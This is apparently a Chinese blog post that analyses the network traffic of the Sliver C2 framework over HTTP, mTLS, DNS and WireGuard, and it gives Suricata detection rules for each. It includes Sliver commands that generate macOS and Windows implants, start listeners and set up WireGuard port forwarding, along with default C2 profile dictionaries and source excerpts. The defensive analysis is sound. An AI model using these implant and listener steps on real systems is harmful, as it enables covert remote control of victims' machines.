流量分析
http
以mac为例
首先搭建分析环境
#先生成一个mac的马子
generate --http x.x.x.x:808 --os macos --max-errors 99999 --save ./macos_shell_http
#sliver监听808端口
http -l 808
#tcpdump监听网卡端口流量方便后续分析
sudo tcpdump -i eth0 port 808 -w mac_http.pcap
#计算808端口流量的ja3和jas3,这里用的是别的师傅写的脚本,改了一下,方便直接指定端口 https://github.com/xiul0/ja3box_pro
python3 ja3box_pro.py -i eth0 -p 808
这里由于是http所以只有ja3,可以看到ja3是:19e29534fd49dd27d09234e639c4057e
然后看流量包的数据,这里我把c2通信流量已经过滤出来了,不存在干扰
可以明显的看到在http通信的过程是有很多特定的url路径的,特征也比较明显,这里的url路径是sliver从他的配置文件c2profie中读取到的,我们可以看一看这个配置文件~/.sliver/configs/http-c2.json
"stager_file_ext": ".woff",
"stager_files": [
"attribute_text_w01_regular",
"ZillaSlab-Regular.subset.bbc33fb47cf6",
"ZillaSlab-Bold.subset.e96c15f68c68",
"Inter-Regular",
"Inter-Medium"
],
"stager_paths": [
"static",
"assets",
"fonts",
"locales"
],
"poll_file_ext": ".js",
"poll_files": [
"bootstrap",
"bootstrap.min",
"jquery.min",
"jquery",
"route",
"app",
"app.min",
"array",
"backbone",
"script",
"email"
],
"poll_paths": [
"js",
"umd",
"assets",
"bundle",
"bundles",
"scripts",
"script",
"javascripts",
"javascript",
"jscript"
],
"start_session_file_ext": ".html",
"session_file_ext": ".php",
"session_files": [
"login",
"signin",
"api",
"samples",
"rpc",
"index",
"admin",
"register",
"sign-up"
],
"session_paths": [
"php",
"api",
"upload",
"actions",
"rest",
"v1",
"auth",
"authenticate",
"oauth",
"oauth2",
"oauth2callback",
"database",
"db",
"namespaces"
],
"close_file_ext": ".png",
"close_files": [
"favicon",
"sample",
"example"
],
"close_paths": [
"static",
"www",
"assets",
"images",
"icons",
"image",
"icon",
"png"
]
},
"server_config": {
"random_version_headers": false,
"headers": [],
"cookies": [
"PHPSESSID",
"SID",
"SSID",
"APISID",
"csrf-state",
"AWSALBCORS"
]
.......
最终可以肯定的是,这些url都是来自这个字典的组合拼接,那这个c2file又从何而来呢,
这里可以先看一下sliver官方docs https://sliver.sh/docs?name=HTTPS+C2,给出了这个配置文件和这些字段的解释,然后再看一下sliver源码生成这个配置文件的函数,
可以明确的是sliver http-c2.json中的字典是从一个更大的字典中随机读取出来的,
这样的话想通过ids这种流量设备通过url特征或者cookie等来识别原生sliver http的c2通信就成为了一个覆盖率的问题(字典太大了规则没法覆盖全,就算全覆盖也需要结合其他特征来佐证,否则误报率会非常高,只能选择性覆盖,甚至sliver开发者也鼓励使用者用gpt去生成这个profiles文件的字典)
但是同样,c2-profiles字典中也还是有相对固定的值,比如ua头,默认配置下,userAgent的值是空的,sliver希望我们自定义但是一般使用者不会自定义,所以在生成implant的过程中,sliver会根据生成implant的类型来设置ua
if userAgent == "" {
switch goos {
case "windows":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", ChromeVer(baseVer))
}
case "linux":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", ChromeVer(baseVer))
}
case "darwin":
switch goarch {
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", MacOSVer(macOsVer), ChromeVer(baseVer))
}
}
这里来分析一组suricata规则来识别默认http的木马通信的request和response,
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ETPRO MALWARE Sliver HTTP SessionInit Request";
flow:established,to_server;
flowbits:set,ETPRO.SliverSessionInit;
http.method; content:"POST";
http.uri; content:"/register.html?"; fast_pattern;
content:"&"; distance:0;
content:"="; within:3;
pcre:"/^\/(?:(?:a(?:uth(?:enticate)?|ctions|pi)|oauth(?:2(?:callback)?)?|d(?:atabase|b)|namespaces|upload|rest|php|v1)\/){0,13}register\.html\?.*[a-z_]{1,2}=[a-z_0-9]{8,11}&[a-z_]{1,2}=[a-z_0-9]{8,11}/";
http.user_agent; content:") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/";
content:" Safari/537.36"; endswith;
http.header_names; content:!"|0d 0a|Accept|0d 0a|";
reference:url,github.com/BishopFox/sliver/;
classtype:command-and-control;
sid:2852657;
rev:3;
target:src_ip;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ETPRO MALWARE Sliver HTTP SessionInit Response";
flow:established,to_client;
flowbits:isset,ETPRO.SliverSessionInit;
http.header; content:"Cache-Control|3a 20|no-store, no-cache, must-revalidate|0d 0a|Date|3a 20|"; startswith;
http.header_names; content:"|0d 0a|Cache-Control|0d 0a|Set-Cookie|0d 0a|Date|0d 0a|"; startswith;
fast_pattern;
http.cookie; bsize:52;
content:"PHPSESSID="; startswith;
content:"|3b 20|HttpOnly"; distance:32; within:10;
pcre:"/^PHPSESSID=[a-f0-9]{32}\x3b/";
reference:url,github.com/BishopFox/sliver/;
classtype:command-and-control;
sid:2852718; rev:1;
target:dest_ip;)
request的识别是通过url ua accept头来识别,核心是url和ua,这里只匹配“/register.html?”是因为这只是规则集中一条规则,规则集中会匹配多条来自c2profiles字典中的url特定字段,扩大识别范围来实现流量检测
respond的检测是通过sliver自定义header的特征以及,在此之前是否有request被命中,同样这条规则也只是匹配来了Set-Cookie和PHPSESSID,在完整的规则集中会匹配更多,这里只是举一个例子
接下来继续分析整体流量包的流量特征,可以发现流量包中存在大量204响应码的流量,这在整体来看应该属于强特征来,正常的Clint- Server模式的请求中一般不会存在大量204返回
那么为什么会存在这么多204响应
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Poll request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
s.defaultHandler(resp, req)
return
}
httpSession.ImplantConn.UpdateLastMessage()
// We already know we have a valid nonce because of the middleware filter
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.ImplantConn.Send:
resp.WriteHeader(http.StatusOK)
envelopeData, _ := proto.Marshal(envelope)
ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData)
if err != nil {
httpLog.Errorf("Failed to encrypt message %s", err)
ciphertext = []byte{}
}
s.noCacheHeader(resp)
respData, _ := encoder.Encode(ciphertext)
resp.Write(respData)
case <-req.Context().Done():
httpLog.Debug("Poll client hang up")
return
case <-time.After(s.getServerPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
s.noCacheHeader(resp)
resp.Write([]byte{})
}
}
不难看出sliver 对于 poll request的请求统一是做204响应,这样的话,其实不论是直观和量化对于poll特征的识别就有很多操作空间了
mtls
#先生成一个mac的马子
generate --mtls x.x.x.x --os macos --save ./macos_shell_mtls
#sliver监听8888端口
http -l 8888
#tcpdump监听网卡端口流量方便后续分析
sudo tcpdump -i eth0 port 8888 -w mac_mtls.pcap
#计算8888端口流量的ja3和jas3
python3 ja3box_pro.py -i eth0 -p 8888
ja3和jas3
ja3:19e29534fd49dd27d09234e639c4057e jas3:f4febc55ea12b31ae17cfb7e614afda8
数据包情况,除了tls握手过程能看到一个client hello和server hello,数据交互都被加密
看起来没有什么强特征可言,这里从默认端口和ja3出发了(有大佬有思路可以放在评论区)
alert tls $HOME_NET any -> any 8888 (msg:"疑似C2工具sliver https加密通信行为-window/macos";flow:established,to_server; ja3.hash;content:"19e29534fd49dd27d09234e639c4057e"; flowbits:set,Sliver_TLS001;flowbits:noalert; sid:1240709019;rev:1;)
alert tls $HOME_NET any -> any 8888 (msg:"疑似C2工具sliver https加密通信行为-centos7";flow:established,to_server; ja3.hash;content:"473cd7cb9faa642487833865d516e578"; flowbits:set,Sliver_TLS001;flowbits:noalert; sid:1240709020;rev:1;)
alert tls $EXTERNAL_NET 8888 -> any any (msg:"C2工具sliver https默认证书特征"; flow:established,to_client; ja3s.hash; content:"f4febc55ea12b31ae17cfb7e614afda8"; flowbits:isset,Sliver_TLS001; threshold: type both, track by_dst, seconds 7200, count 1;sid:1240709021;)
注意注意,这里并不能单单从ja3出发,实测在生产环节中,有正常的业务流量ja3和jas3指纹都和这里的是一样的,这个是因为用的tls库是同一个,所以指纹一样(可以考虑逐一排查将生产环节中正常业务都排除掉)
分析源码,这里用的是tls库 “crypto/tls”
所以综合来看,这种情况是很难单纯通过流量设备来检测c2控制的,必须结合一些威胁情报或者失陷情报,包括信息收集手段来探测(探测告警目标IP是否开启了31337端口,这是sliver server默认端口,等等其他探测)
dns
#sliver 创建一个监听器,官方文档建议使用FQDN 所以在域名后面还有一个点 https://sliver.sh/docs?name=DNS+C2
dns --domains testc2.x.x.
#生成implant
generate --dns testc2.x.x --seconds 15 --jitter 0
这里要设置一个ns 将testc2.x.x指向ns.x.x服务器(在Cloudflare就可以设置),就是Create an NS record with an arbitrary subdomain, for example testc2(i.e. testc2.example.com) which is managed by ns1.example.com.
官方文档如下:https://sliver.sh/docs?name=DNS+C2 可自行复现,这里用的自己的域名和公网地址所以就不贴图了
相关流量特征是有很多对于testc2.x.x子域的解析,而且会有很长子域名的解析请求
对原理的深入剖析揭示了这样一种机制:当Implant向服务器发送数据时,它会将编码后的数据填充到子域名中,并将其发送至目标DNS服务器。服务器则通过TXT查询将数据返回给Implant。然而,由于域名长度被限制在254个字符内(包括子域名和根域名),且每个子域名的最大长度为63个字符,数据传输的实现受到这些限制的影响。
在此背景下,主要采用两种编码方式:Base32和Base58。考虑到DNS协议对大小写的不敏感性,Base32能够直接使用,因为它对大小写不敏感;而Base58虽然对大小写敏感,但其编码速度更快。因此,Sliver默认情况下会首先尝试使用Base58,若无法使用,则退而采用Base32编码。
详见:https://sliver.sh/docs?name=DNS+C2
suricata规则检测示例
alert dns any any -> any any (msg:"DNS query with domain length > 200"; dns_query; pcre:"/^.{200,}/"; classtype:attempted-recon; sid:1240709022; rev:1;)
WireGuard
wg-portfwd
#按照官方教程来即可https://sliver.sh/docs?name=Port+Forwarding
generate --wg x.x.225.92 --save ./win_shell_wg.exe #生成implant
wg #开启端口监听,默认53
wg-config -s /opt/sliver/wireguard.conf#导出配置文件并修改Endpoint(自己vps的ip和端口)
wg-portfwd add -r 10.211.55.3:808 #配置端口转发
#下面是Linux终端
sudo apt install wireguard-tools #安装WireGuard客户端
cp opt/sliver/wireguard.conf /etc/wireguard/wireguard.conf #把配置文件添加到默认目录
wg-quick up wireguard #启动wg
可以看到在我的公网vps上是可以正常访问我内网机器起的python http服务
这里是用python起了一个服务当正常我们想要访问的服务,
加密流量无明显特征,通信过程如下
没有评论